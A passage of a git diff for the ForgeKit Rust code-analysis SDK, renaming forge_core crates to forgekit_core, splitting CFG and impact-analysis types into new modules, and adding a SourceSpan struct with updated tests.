fn main() -> anyhow::Result<()> { @@ -46,7 +48,7 @@ Add to your `Cargo.toml`: ```toml [dependencies] -forge-core = "0.2" +forgekit-core = "0.2" ``` ### Feature Flags @@ -73,13 +75,13 @@ ForgeKit uses feature flags for flexible backend and tool selection: ```toml # Default: SQLite backend with all tools -forge-core = "0.2" +forgekit-core = "0.2" # Native V3 backend with all tools -forge-core = { version = "0.2", features = ["full-v3"] } +forgekit-core = { version = "0.2", features = ["full-v3"] } # Mix and match: Magellan with V3, LLMGrep with SQLite -forge-core = { version = "0.2", features = ["magellan-v3", "llmgrep-sqlite"] } +forgekit-core = { version = "0.2", features = ["magellan-v3", "llmgrep-sqlite"] } ``` ## Workspace Structure @@ -88,9 +90,9 @@ ForgeKit is organized as a workspace with three crates: | Crate | Purpose | Documentation | |-------|---------|---------------| -| `forge_core` | Core SDK with graph, search, CFG, and edit APIs | [API Docs](docs/API.md) | -| `forge_runtime` | Indexing, caching, and file watching | [Architecture](docs/ARCHITECTURE.md) | -| `forge_agent` | Deterministic AI agent loop | [Manual](docs/MANUAL.md) | +| `forgekit_core` | Core SDK with graph, search, CFG, and edit APIs | [API Docs](docs/API.md) | +| `forgekit_runtime` | Indexing, caching, and file watching | [Architecture](docs/ARCHITECTURE.md) | +| `forgekit_agent` | Deterministic AI agent loop | [Manual](docs/MANUAL.md) | ## Backend Comparison @@ -110,7 +112,7 @@ ForgeKit is organized as a workspace with three crates: ForgeKit supports real-time event notifications for code changes: ```rust -use forge_core::{Forge, BackendKind}; +use forgekit_core::{Forge, BackendKind}; use std::sync::mpsc; #[tokio::main] diff --git a/forge_core/src/analysis/complexity.rs b/forgekit_core/src/analysis/complexity.rs similarity index 100% rename from forge_core/src/analysis/complexity.rs rename to forgekit_core/src/analysis/complexity.rs diff --git a/forge_core/src/analysis/dead_code.rs b/forgekit_core/src/analysis/dead_code.rs similarity index 100% rename from forge_core/src/analysis/dead_code.rs rename to forgekit_core/src/analysis/dead_code.rs diff --git a/forge_core/src/analysis/operations.rs b/forgekit_core/src/analysis/diff.rs similarity index 100% rename from forge_core/src/analysis/operations.rs rename to forgekit_core/src/analysis/diff.rs diff --git a/forgekit_core/src/analysis/impact.rs b/forgekit_core/src/analysis/impact.rs new file mode 100644 index 0000000..c80b290 --- /dev/null +++ b/forgekit_core/src/analysis/impact.rs @@ -0,0 +1,65 @@ +//! Impact-analysis data types. +//! +//! Extracted from `mod.rs` (SPLIT-27). Pure data structs consumed by +//! `AnalysisModule` impact/cross-reference/call-chain methods. + +use crate::types::Symbol; + +/// Detailed impact analysis result for a symbol. +#[derive(Debug, Clone)] +pub struct ImpactData { + /// Symbol that was analyzed + pub symbol: String, + /// Number of references to this symbol + pub ref_count: usize, + /// Number of call sites (for functions) + pub call_count: usize, + /// All symbols that reference this one + pub referenced_by: Vec, + /// All symbols this one references + pub references: Vec, + /// Total estimated impact score + pub impact_score: usize, +} + +/// Impact analysis result. +#[derive(Debug, Clone)] +pub struct ImpactAnalysis { + /// Symbols that would be affected by a change + pub affected_symbols: Vec, + /// Total number of call sites + pub call_sites: usize, +} + +/// Cross-reference information for a symbol. +#[derive(Debug, Clone)] +pub struct CrossReferences { + /// Symbols that call the target + pub callers: Vec, + /// Symbols called by the target + pub callees: Vec, +} + +/// Chain of references from one symbol to another. +#[derive(Debug, Clone)] +pub struct ReferenceChain { + /// Starting symbol + pub from: String, + /// Ending symbol + pub to: String, + /// Chain of symbols connecting from to to + pub chain: Vec, + /// Length of the chain + pub length: usize, +} + +/// Call chain showing all callers to a function. +#[derive(Debug, Clone)] +pub struct CallChain { + /// Target function + pub target: String, + /// All callers (direct and indirect) + pub callers: Vec, + /// Maximum depth of call chain + pub depth: usize, +} diff --git a/forge_core/src/analysis/mod.rs b/forgekit_core/src/analysis/mod.rs similarity index 94% rename from forge_core/src/analysis/mod.rs rename to forgekit_core/src/analysis/mod.rs index 42fbce7..871e474 100644 --- a/forge_core/src/analysis/mod.rs +++ b/forgekit_core/src/analysis/mod.rs @@ -13,15 +13,17 @@ use std::time::Instant; pub mod complexity; pub mod dead_code; +pub mod diff; +pub mod impact; pub mod modules; -pub mod operations; pub use complexity::{ComplexityMetrics, RiskLevel}; pub use dead_code::{DeadCodeAnalyzer, DeadSymbol}; -pub use modules::{ModuleAnalyzer, ModuleDependencyGraph, ModuleInfo}; -pub use operations::{ +pub use diff::{ DeleteOperation, Diff, EditOperation, ErrorResult, InsertOperation, RenameOperation, }; +pub use impact::{CallChain, CrossReferences, ImpactAnalysis, ImpactData, ReferenceChain}; +pub use modules::{ModuleAnalyzer, ModuleDependencyGraph, ModuleInfo}; /// Analysis module for combined operations. pub struct AnalysisModule { @@ -31,47 +33,6 @@ pub struct AnalysisModule { edit: EditModule, } -/// Detailed impact analysis result for a symbol. -#[derive(Debug, Clone)] -pub struct ImpactData { - /// Symbol that was analyzed - pub symbol: String, - /// Number of references to this symbol - pub ref_count: usize, - /// Number of call sites (for functions) - pub call_count: usize, - /// All symbols that reference this one - pub referenced_by: Vec, - /// All symbols this one references - pub references: Vec, - /// Total estimated impact score - pub impact_score: usize, -} - -/// Chain of references from one symbol to another. -#[derive(Debug, Clone)] -pub struct ReferenceChain { - /// Starting symbol - pub from: String, - /// Ending symbol - pub to: String, - /// Chain of symbols connecting from to to - pub chain: Vec, - /// Length of the chain - pub length: usize, -} - -/// Call chain showing all callers to a function. -#[derive(Debug, Clone)] -pub struct CallChain { - /// Target function - pub target: String, - /// All callers (direct and indirect) - pub callers: Vec, - /// Maximum depth of call chain - pub depth: usize, -} - /// Performance benchmark results. #[derive(Debug, Clone)] pub struct BenchmarkResults { @@ -100,24 +61,6 @@ pub enum ApplyResult { Failed(String), } -/// Impact analysis result. -#[derive(Debug, Clone)] -pub struct ImpactAnalysis { - /// Symbols that would be affected by a change - pub affected_symbols: Vec, - /// Total number of call sites - pub call_sites: usize, -} - -/// Cross-reference information for a symbol. -#[derive(Debug, Clone)] -pub struct CrossReferences { - /// Symbols that call the target - pub callers: Vec, - /// Symbols called by the target - pub callees: Vec, -} - /// Module dependency. #[derive(Debug, Clone)] pub struct ModuleDependency { diff --git a/forge_core/src/analysis/modules.rs b/forgekit_core/src/analysis/modules.rs similarity index 100% rename from forge_core/src/analysis/modules.rs rename to forgekit_core/src/analysis/modules.rs diff --git a/forge_core/src/build/mod.rs b/forgekit_core/src/build/mod.rs similarity index 100% rename from forge_core/src/build/mod.rs rename to forgekit_core/src/build/mod.rs diff --git a/forge_core/src/cache.rs b/forgekit_core/src/cache.rs similarity index 99% rename from forge_core/src/cache.rs rename to forgekit_core/src/cache.rs index b4a3df2..58d1f0b 100644 --- a/forge_core/src/cache.rs +++ b/forgekit_core/src/cache.rs @@ -25,7 +25,7 @@ struct CacheEntry { /// # Examples /// /// ```no_run -/// use forge_core::cache::QueryCache; +/// use forgekit_core::cache::QueryCache; /// use std::time::Duration; /// /// # #[tokio::main] diff --git a/forgekit_core/src/cfg/dominators.rs b/forgekit_core/src/cfg/dominators.rs new file mode 100644 index 0000000..9ca93f6 --- /dev/null +++ b/forgekit_core/src/cfg/dominators.rs @@ -0,0 +1,93 @@ +//! Dominator tree β€” control-flow dominance analysis. +//! +//! Extracted from `types.rs` (SPLIT-23). Will be delegated to sqlitegraph +//! native dominators when magellan v4 lands. + +use crate::types::BlockId; +use std::collections::HashMap; + +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct DominatorTree { + pub root: BlockId, + pub dominators: HashMap, +} + +impl DominatorTree { + pub fn new(root: BlockId) -> Self { + Self { + root, + dominators: HashMap::new(), + } + } + + pub fn immediate_dominator(&self, block: BlockId) -> Option { + self.dominators.get(&block).copied() + } + + pub fn dominates(&self, dominator: BlockId, block: BlockId) -> bool { + if dominator == block { + return true; + } + if dominator == self.root { + return true; + } + let mut current = block; + while let Some(idom) = self.dominators.get(¤t) { + if *idom == dominator { + return true; + } + current = *idom; + } + false + } + + pub fn insert(&mut self, block: BlockId, dominator: BlockId) { + self.dominators.insert(block, dominator); + } + + pub fn len(&self) -> usize { + self.dominators.len() + 1 + } + + pub fn is_empty(&self) -> bool { + self.dominators.is_empty() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_dominator_tree_creation() { + let tree = DominatorTree::new(BlockId(0)); + assert_eq!(tree.root, BlockId(0)); + assert!(tree.is_empty()); + assert_eq!(tree.len(), 1); + } + + #[test] + fn test_dominator_tree_insert() { + let mut tree = DominatorTree::new(BlockId(0)); + tree.insert(BlockId(1), BlockId(0)); + tree.insert(BlockId(2), BlockId(1)); + + assert_eq!(tree.len(), 3); + assert_eq!(tree.immediate_dominator(BlockId(1)), Some(BlockId(0))); + assert_eq!(tree.immediate_dominator(BlockId(2)), Some(BlockId(1))); + assert_eq!(tree.immediate_dominator(BlockId(0)), None); + } + + #[test] + fn test_dominator_tree_dominates() { + let mut tree = DominatorTree::new(BlockId(0)); + tree.insert(BlockId(1), BlockId(0)); + tree.insert(BlockId(2), BlockId(1)); + + assert!(tree.dominates(BlockId(0), BlockId(0))); + assert!(tree.dominates(BlockId(0), BlockId(1))); + assert!(tree.dominates(BlockId(0), BlockId(2))); + assert!(tree.dominates(BlockId(1), BlockId(1))); + assert!(!tree.dominates(BlockId(1), BlockId(0))); + } +} diff --git a/forge_core/src/cfg/mod.rs b/forgekit_core/src/cfg/mod.rs similarity index 99% rename from forge_core/src/cfg/mod.rs rename to forgekit_core/src/cfg/mod.rs index 2ef0dbf..4991349 100644 --- a/forge_core/src/cfg/mod.rs +++ b/forgekit_core/src/cfg/mod.rs @@ -2,13 +2,15 @@ //! //! This module provides CFG operations via Mirage integration. -mod path_builder; +mod dominators; +mod paths; mod test_cfg; mod types; -pub use path_builder::PathBuilder; +pub use dominators::DominatorTree; +pub use paths::{Path, PathBuilder}; pub use test_cfg::TestCfg; -pub use types::{DominatorTree, Loop, Path}; +pub use types::Loop; use crate::error::Result; use crate::storage::UnifiedGraphStore; diff --git a/forgekit_core/src/cfg/paths.rs b/forgekit_core/src/cfg/paths.rs new file mode 100644 index 0000000..837e7df --- /dev/null +++ b/forgekit_core/src/cfg/paths.rs @@ -0,0 +1,209 @@ +//! Execution paths through a CFG and the builder that enumerates them. +//! +//! Extracted/merged from `types.rs` + `path_builder.rs` (SPLIT-24). + +use crate::storage::UnifiedGraphStore; +use crate::types::{BlockId, PathId, PathKind, SymbolId}; +use std::sync::Arc; + +use super::load_test_cfg; + +// --------------------------------------------------------------------------- +// Path +// --------------------------------------------------------------------------- + +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct Path { + pub id: PathId, + pub kind: PathKind, + pub blocks: Vec, + pub length: usize, +} + +impl Path { + pub fn new(blocks: Vec) -> Self { + let length = blocks.len(); + let mut hasher = blake3::Hasher::new(); + for block in &blocks { + hasher.update(&block.0.to_le_bytes()); + } + let hash = hasher.finalize(); + let mut id = [0u8; 16]; + id.copy_from_slice(&hash.as_bytes()[0..16]); + + Self { + id: PathId(id), + kind: PathKind::Normal, + blocks, + length, + } + } + + pub fn with_kind(blocks: Vec, kind: PathKind) -> Self { + let length = blocks.len(); + let mut hasher = blake3::Hasher::new(); + for block in &blocks { + hasher.update(&block.0.to_le_bytes()); + } + let hash = hasher.finalize(); + let mut id = [0u8; 16]; + id.copy_from_slice(&hash.as_bytes()[0..16]); + + Self { + id: PathId(id), + kind, + blocks, + length, + } + } + + pub fn is_normal(&self) -> bool { + self.kind == PathKind::Normal + } + + pub fn is_error(&self) -> bool { + self.kind == PathKind::Error + } + + pub fn contains(&self, block: BlockId) -> bool { + self.blocks.contains(&block) + } + + pub fn entry(&self) -> Option { + self.blocks.first().copied() + } + + pub fn exit(&self) -> Option { + self.blocks.last().copied() + } +} + +// --------------------------------------------------------------------------- +// PathBuilder +// --------------------------------------------------------------------------- + +#[derive(Clone, Default)] +pub struct PathBuilder { + pub(super) function: Option, + pub(super) store: Option>, + pub(super) normal_only: bool, + pub(super) error_only: bool, + pub(super) max_length: Option, + pub(super) limit: Option, +} + +impl PathBuilder { + pub fn normal_only(mut self) -> Self { + self.normal_only = true; + self.error_only = false; + self + } + + pub fn error_only(mut self) -> Self { + self.normal_only = false; + self.error_only = true; + self + } + + pub fn max_length(mut self, n: usize) -> Self { + self.max_length = Some(n); + self + } + + pub fn limit(mut self, n: usize) -> Self { + self.limit = Some(n); + self + } + + pub async fn execute(self) -> crate::error::Result> { + if let (Some(symbol), Some(store)) = (&self.function, &self.store) { + if let Some(cfg) = load_test_cfg(&store.db_path, symbol.0)? { + let mut paths = cfg.enumerate_paths(); + if let Some(max) = self.max_length { + paths.retain(|p| p.blocks.len() <= max); + } + if let Some(limit) = self.limit { + paths.truncate(limit); + } + return Ok(paths); + } + let _ = symbol; + } + + if let Some(symbol) = &self.function { + let entry = BlockId(symbol.0); + Ok(vec![Path { + id: PathId([0; 16]), + kind: PathKind::Normal, + blocks: vec![entry], + length: 1, + }]) + } else { + Ok(Vec::new()) + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_path_creation() { + let blocks = vec![BlockId(0), BlockId(1), BlockId(2)]; + let path = Path::new(blocks.clone()); + + assert_eq!(path.blocks, blocks); + assert_eq!(path.length, 3); + assert!(path.is_normal()); + assert!(!path.is_error()); + } + + #[test] + fn test_path_with_kind() { + let blocks = vec![BlockId(0), BlockId(1)]; + let path = Path::with_kind(blocks.clone(), PathKind::Error); + + assert_eq!(path.blocks, blocks); + assert_eq!(path.kind, PathKind::Error); + assert!(!path.is_normal()); + assert!(path.is_error()); + } + + #[test] + fn test_path_contains() { + let path = Path::new(vec![BlockId(0), BlockId(1), BlockId(2)]); + + assert!(path.contains(BlockId(0))); + assert!(path.contains(BlockId(1))); + assert!(path.contains(BlockId(2))); + assert!(!path.contains(BlockId(3))); + } + + #[test] + fn test_path_entry_exit() { + let path = Path::new(vec![BlockId(0), BlockId(1), BlockId(2)]); + + assert_eq!(path.entry(), Some(BlockId(0))); + assert_eq!(path.exit(), Some(BlockId(2))); + } + + #[test] + fn test_path_id_stability() { + let blocks = vec![BlockId(0), BlockId(1), BlockId(2)]; + let path1 = Path::new(blocks.clone()); + let path2 = Path::new(blocks); + + assert_eq!(path1.id, path2.id); + } + + #[test] + fn test_path_id_uniqueness() { + let blocks1 = vec![BlockId(0), BlockId(1), BlockId(2)]; + let blocks2 = vec![BlockId(0), BlockId(1), BlockId(3)]; + let path1 = Path::new(blocks1); + let path2 = Path::new(blocks2); + + assert_ne!(path1.id, path2.id); + } +} diff --git a/forge_core/src/cfg/test_cfg.rs b/forgekit_core/src/cfg/test_cfg.rs similarity index 99% rename from forge_core/src/cfg/test_cfg.rs rename to forgekit_core/src/cfg/test_cfg.rs index 1e1658c..3d07782 100644 --- a/forge_core/src/cfg/test_cfg.rs +++ b/forgekit_core/src/cfg/test_cfg.rs @@ -1,7 +1,9 @@ use crate::types::BlockId; use std::collections::{HashMap, HashSet, VecDeque}; -use super::types::{DominatorTree, Loop, Path}; +use super::dominators::DominatorTree; +use super::paths::Path; +use super::types::Loop; #[derive(Clone, Debug)] pub struct TestCfg { diff --git a/forgekit_core/src/cfg/types.rs b/forgekit_core/src/cfg/types.rs new file mode 100644 index 0000000..64d8237 --- /dev/null +++ b/forgekit_core/src/cfg/types.rs @@ -0,0 +1,81 @@ +use crate::types::BlockId; + +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct Loop { + pub header: BlockId, + pub blocks: Vec, + pub depth: usize, +} + +impl Loop { + pub fn new(header: BlockId) -> Self { + Self { + header, + blocks: Vec::new(), + depth: 0, + } + } + + pub fn with_blocks(header: BlockId, blocks: Vec) -> Self { + Self { + header, + blocks, + depth: 0, + } + } + + pub fn with_depth(header: BlockId, blocks: Vec, depth: usize) -> Self { + Self { + header, + blocks, + depth, + } + } + + pub fn contains(&self, block: BlockId) -> bool { + self.header == block || self.blocks.contains(&block) + } + + pub fn len(&self) -> usize { + self.blocks.len() + 1 + } + + pub fn is_empty(&self) -> bool { + self.blocks.is_empty() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_loop_creation() { + let loop_ = Loop::new(BlockId(1)); + assert_eq!(loop_.header, BlockId(1)); + assert!(loop_.is_empty()); + assert_eq!(loop_.len(), 1); + assert_eq!(loop_.depth, 0); + } + + #[test] + fn test_loop_with_blocks() { + let blocks = vec![BlockId(2), BlockId(3)]; + let loop_ = Loop::with_blocks(BlockId(1), blocks.clone()); + + assert_eq!(loop_.header, BlockId(1)); + assert_eq!(loop_.blocks, blocks); + assert!(!loop_.is_empty()); + assert_eq!(loop_.len(), 3); + } + + #[test] + fn test_loop_contains() { + let loop_ = Loop::with_blocks(BlockId(1), vec![BlockId(2), BlockId(3)]); + + assert!(loop_.contains(BlockId(1))); + assert!(loop_.contains(BlockId(2))); + assert!(loop_.contains(BlockId(3))); + assert!(!loop_.contains(BlockId(4))); + } +} diff --git a/forge_core/src/dependency/mod.rs b/forgekit_core/src/dependency/mod.rs similarity index 100% rename from forge_core/src/dependency/mod.rs rename to forgekit_core/src/dependency/mod.rs diff --git a/forge_core/src/diagnostic/mod.rs b/forgekit_core/src/diagnostic/mod.rs similarity index 100% rename from forge_core/src/diagnostic/mod.rs rename to forgekit_core/src/diagnostic/mod.rs diff --git a/forge_core/src/diff/mod.rs b/forgekit_core/src/diff/mod.rs similarity index 100% rename from forge_core/src/diff/mod.rs rename to forgekit_core/src/diff/mod.rs diff --git a/forge_core/src/edit/identifiers.rs b/forgekit_core/src/edit/identifiers.rs similarity index 100% rename from forge_core/src/edit/identifiers.rs rename to forgekit_core/src/edit/identifiers.rs diff --git a/forge_core/src/edit/mod.rs b/forgekit_core/src/edit/mod.rs similarity index 99% rename from forge_core/src/edit/mod.rs rename to forgekit_core/src/edit/mod.rs index f1327b6..92658f4 100644 --- a/forge_core/src/edit/mod.rs +++ b/forgekit_core/src/edit/mod.rs @@ -47,7 +47,7 @@ impl EditResult { /// Edit module for span-safe refactoring. pub struct EditModule { store: std::sync::Arc, - undo_stack: std::sync::Mutex>, + undo_stack: parking_lot::Mutex>, undo_capacity: usize, } @@ -55,7 +55,7 @@ impl EditModule { pub fn new(store: std::sync::Arc) -> Self { Self { store, - undo_stack: std::sync::Mutex::new(Vec::new()), + undo_stack: parking_lot::Mutex::new(Vec::new()), undo_capacity: 100, } } diff --git a/forge_core/src/edit/undo.rs b/forgekit_core/src/edit/undo.rs similarity index 90% rename from forge_core/src/edit/undo.rs rename to forgekit_core/src/edit/undo.rs index 942a2cd..b9edc41 100644 --- a/forge_core/src/edit/undo.rs +++ b/forgekit_core/src/edit/undo.rs @@ -32,7 +32,7 @@ impl super::EditModule { pub async fn undo(&self) -> Result { let op = { - let mut stack = self.undo_stack.lock().unwrap(); + let mut stack = self.undo_stack.lock(); if stack.is_empty() { return Ok(UndoResult::Empty); } @@ -80,19 +80,19 @@ impl super::EditModule { } pub fn can_undo(&self) -> bool { - !self.undo_stack.lock().unwrap().is_empty() + !self.undo_stack.lock().is_empty() } pub fn undo_depth(&self) -> usize { - self.undo_stack.lock().unwrap().len() + self.undo_stack.lock().len() } pub fn clear_undo_stack(&self) { - self.undo_stack.lock().unwrap().clear(); + self.undo_stack.lock().clear(); } pub(crate) fn push_undo(&self, op: UndoableOp) { - let mut stack = self.undo_stack.lock().unwrap(); + let mut stack = self.undo_stack.lock(); if stack.len() >= self.undo_capacity { stack.remove(0); } diff --git a/forge_core/src/error.rs b/forgekit_core/src/error.rs similarity index 100% rename from forge_core/src/error.rs rename to forgekit_core/src/error.rs diff --git a/forge_core/src/graph/mod.rs b/forgekit_core/src/graph/mod.rs similarity index 100% rename from forge_core/src/graph/mod.rs rename to forgekit_core/src/graph/mod.rs diff --git a/forge_core/src/indexing.rs b/forgekit_core/src/indexing.rs similarity index 98% rename from forge_core/src/indexing.rs rename to forgekit_core/src/indexing.rs index 1f29af5..64fb587 100644 --- a/forge_core/src/indexing.rs +++ b/forgekit_core/src/indexing.rs @@ -214,13 +214,15 @@ impl PathFilter { /// # Examples /// /// ```no_run -/// use forge_core::indexing::IncrementalIndexer; -/// use forge_core::watcher::WatchEvent; +/// use forgekit_core::indexing::IncrementalIndexer; +/// use forgekit_core::watcher::WatchEvent; /// use std::path::PathBuf; /// /// # #[tokio::main] /// # async fn main() -> anyhow::Result<()> { -/// # let store = unimplemented!(); +/// # use forgekit_core::BackendKind; +/// # use std::sync::Arc; +/// # let store = Arc::new(forgekit_core::storage::UnifiedGraphStore::open(".", BackendKind::SQLite).await?); /// let indexer = IncrementalIndexer::new(store); /// /// // Queue some changes (only src/ and tests/ files will be indexed) diff --git a/forge_core/src/knowledge/mod.rs b/forgekit_core/src/knowledge/mod.rs similarity index 99% rename from forge_core/src/knowledge/mod.rs rename to forgekit_core/src/knowledge/mod.rs index 0d5a2f8..bdd8405 100644 --- a/forge_core/src/knowledge/mod.rs +++ b/forgekit_core/src/knowledge/mod.rs @@ -5,6 +5,7 @@ pub mod sync; pub mod traversal; pub mod types; +pub use nodes::SourceSpan; pub use types::*; use std::path::{Path, PathBuf}; diff --git a/forge_core/src/knowledge/nodes.rs b/forgekit_core/src/knowledge/nodes.rs similarity index 88% rename from forge_core/src/knowledge/nodes.rs rename to forgekit_core/src/knowledge/nodes.rs index 7e2d9b8..085e69e 100644 --- a/forge_core/src/knowledge/nodes.rs +++ b/forgekit_core/src/knowledge/nodes.rs @@ -2,6 +2,27 @@ use crate::error::{ForgeError, Result}; use crate::knowledge::types::{self, CfgBlockData, GraphNode}; use crate::knowledge::KnowledgeGraph; +/// Byte range of a symbol within its source file, used when inserting symbol +/// nodes into the knowledge graph. +#[derive(Clone, Debug)] +pub struct SourceSpan { + pub file: String, + pub line: usize, + pub byte_start: u32, + pub byte_end: u32, +} + +impl SourceSpan { + pub fn new(file: impl Into, line: usize, byte_start: u32, byte_end: u32) -> Self { + Self { + file: file.into(), + line, + byte_start, + byte_end, + } + } +} + impl KnowledgeGraph { pub fn get_node(&self, node_id: i64) -> Result { let entity = self @@ -40,32 +61,28 @@ impl KnowledgeGraph { Ok(results) } - #[allow(clippy::too_many_arguments)] pub fn add_symbol( &self, name: &str, symbol_kind: &str, qualified_name: &str, - file: &str, - line: usize, - byte_start: u32, - byte_end: u32, + span: &SourceSpan, language: &str, parent_id: Option, ) -> Result { let mut data = serde_json::json!({ "symbol_kind": symbol_kind, "qualified_name": qualified_name, - "file": file, - "line": line, - "byte_start": byte_start, - "byte_end": byte_end, + "file": span.file, + "line": span.line, + "byte_start": span.byte_start, + "byte_end": span.byte_end, "language": language, }); if let Some(pid) = parent_id { data["parent_id"] = serde_json::json!(pid); } - self.insert_node(types::node::SYMBOL, name, Some(file), data) + self.insert_node(types::node::SYMBOL, name, Some(&span.file), data) } pub fn add_file(&self, path: &str, language: &str, hash: &str) -> Result { @@ -171,7 +188,7 @@ impl KnowledgeGraph { #[cfg(test)] mod tests { - use crate::knowledge::{open_kg, CfgBlockData}; + use crate::knowledge::{open_kg, CfgBlockData, SourceSpan}; #[test] fn test_add_symbol_node() { @@ -181,10 +198,7 @@ mod tests { "my_func", "Function", "crate::module::my_func", - "src/lib.rs", - 42, - 100, - 200, + &SourceSpan::new("src/lib.rs", 42, 100, 200), "Rust", None, ) @@ -319,10 +333,24 @@ mod tests { #[test] fn test_find_nodes_by_kind() { let (_temp, kg) = open_kg(); - kg.add_symbol("func_a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None) - .expect("invariant: fresh graph accepts inserts"); - kg.add_symbol("func_b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None) - .expect("invariant: fresh graph accepts inserts"); + kg.add_symbol( + "func_a", + "Function", + "a", + &SourceSpan::new("f.rs", 1, 0, 10), + "Rust", + None, + ) + .expect("invariant: fresh graph accepts inserts"); + kg.add_symbol( + "func_b", + "Function", + "b", + &SourceSpan::new("f.rs", 2, 0, 10), + "Rust", + None, + ) + .expect("invariant: fresh graph accepts inserts"); kg.add_file("f.rs", "Rust", "hash") .expect("invariant: fresh graph accepts inserts"); diff --git a/forge_core/src/knowledge/sync.rs b/forgekit_core/src/knowledge/sync.rs similarity index 98% rename from forge_core/src/knowledge/sync.rs rename to forgekit_core/src/knowledge/sync.rs index dadad04..e1863ca 100644 --- a/forge_core/src/knowledge/sync.rs +++ b/forgekit_core/src/knowledge/sync.rs @@ -195,7 +195,7 @@ impl KnowledgeGraph { #[cfg(test)] mod tests { - use crate::knowledge::KnowledgeGraph; + use crate::knowledge::{KnowledgeGraph, SourceSpan}; fn setup_bridge_table(db_path: &std::path::Path) { let conn = rusqlite::Connection::open(db_path).expect("invariant: temp db always opens"); @@ -344,10 +344,7 @@ mod tests { "my_func", "Function", "a::my_func", - "f.rs", - 1, - 0, - 10, + &SourceSpan::new("f.rs", 1, 0, 10), "Rust", None, ) @@ -357,10 +354,7 @@ mod tests { "caller", "Function", "a::caller", - "f.rs", - 5, - 0, - 10, + &SourceSpan::new("f.rs", 5, 0, 10), "Rust", None, ) @@ -398,10 +392,7 @@ mod tests { "unique_resolve_target", "Function", "crate::unique_resolve_target", - "src/lib.rs", - 1, - 0, - 10, + &SourceSpan::new("src/lib.rs", 1, 0, 10), "Rust", None, ) diff --git a/forge_core/src/knowledge/traversal.rs b/forgekit_core/src/knowledge/traversal.rs similarity index 77% rename from forge_core/src/knowledge/traversal.rs rename to forgekit_core/src/knowledge/traversal.rs index 1f93a70..0ad8a9a 100644 --- a/forge_core/src/knowledge/traversal.rs +++ b/forgekit_core/src/knowledge/traversal.rs @@ -169,16 +169,30 @@ impl KnowledgeGraph { #[cfg(test)] mod tests { - use crate::knowledge::{open_kg, Direction}; + use crate::knowledge::{open_kg, Direction, SourceSpan}; #[test] fn test_add_edge() { let (_temp, kg) = open_kg(); let a = kg - .add_symbol("func_a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None) + .add_symbol( + "func_a", + "Function", + "a", + &SourceSpan::new("f.rs", 1, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let b = kg - .add_symbol("func_b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None) + .add_symbol( + "func_b", + "Function", + "b", + &SourceSpan::new("f.rs", 2, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let edge_id = kg @@ -191,7 +205,14 @@ mod tests { fn test_add_correlation_bidirectional() { let (_temp, kg) = open_kg(); let sym = kg - .add_symbol("my_func", "Function", "a", "f.rs", 1, 0, 10, "Rust", None) + .add_symbol( + "my_func", + "Function", + "a", + &SourceSpan::new("f.rs", 1, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let disc = kg .add_discovery("claude1", "Symbol", "my_func", serde_json::json!({})) @@ -221,19 +242,30 @@ mod tests { "target_func", "Function", "t", - "f.rs", - 1, - 0, - 10, + &SourceSpan::new("f.rs", 1, 0, 10), "Rust", None, ) .expect("invariant: fresh graph accepts inserts"); let caller_a = kg - .add_symbol("caller_a", "Function", "a", "f.rs", 5, 0, 10, "Rust", None) + .add_symbol( + "caller_a", + "Function", + "a", + &SourceSpan::new("f.rs", 5, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let caller_b = kg - .add_symbol("caller_b", "Function", "b", "f.rs", 10, 0, 10, "Rust", None) + .add_symbol( + "caller_b", + "Function", + "b", + &SourceSpan::new("f.rs", 10, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); kg.add_edge(caller_a, target, "calls", serde_json::json!({})) @@ -251,13 +283,34 @@ mod tests { fn test_callees_of() { let (_temp, kg) = open_kg(); let func = kg - .add_symbol("func", "Function", "f", "f.rs", 1, 0, 10, "Rust", None) + .add_symbol( + "func", + "Function", + "f", + &SourceSpan::new("f.rs", 1, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let callee_a = kg - .add_symbol("callee_a", "Function", "a", "f.rs", 5, 0, 10, "Rust", None) + .add_symbol( + "callee_a", + "Function", + "a", + &SourceSpan::new("f.rs", 5, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let callee_b = kg - .add_symbol("callee_b", "Function", "b", "f.rs", 10, 0, 10, "Rust", None) + .add_symbol( + "callee_b", + "Function", + "b", + &SourceSpan::new("f.rs", 10, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); kg.add_edge(func, callee_a, "calls", serde_json::json!({})) @@ -275,7 +328,14 @@ mod tests { fn test_correlated_nodes() { let (_temp, kg) = open_kg(); let sym = kg - .add_symbol("my_func", "Function", "a", "f.rs", 1, 0, 10, "Rust", None) + .add_symbol( + "my_func", + "Function", + "a", + &SourceSpan::new("f.rs", 1, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let disc1 = kg .add_discovery("agent1", "Symbol", "my_func", serde_json::json!({})) @@ -303,10 +363,7 @@ mod tests { "process_payment", "Function", "a", - "f.rs", - 1, - 0, - 10, + &SourceSpan::new("f.rs", 1, 0, 10), "Rust", None, ) @@ -328,13 +385,34 @@ mod tests { fn test_shortest_path() { let (_temp, kg) = open_kg(); let a = kg - .add_symbol("a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None) + .add_symbol( + "a", + "Function", + "a", + &SourceSpan::new("f.rs", 1, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let b = kg - .add_symbol("b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None) + .add_symbol( + "b", + "Function", + "b", + &SourceSpan::new("f.rs", 2, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let c = kg - .add_symbol("c", "Function", "c", "f.rs", 3, 0, 10, "Rust", None) + 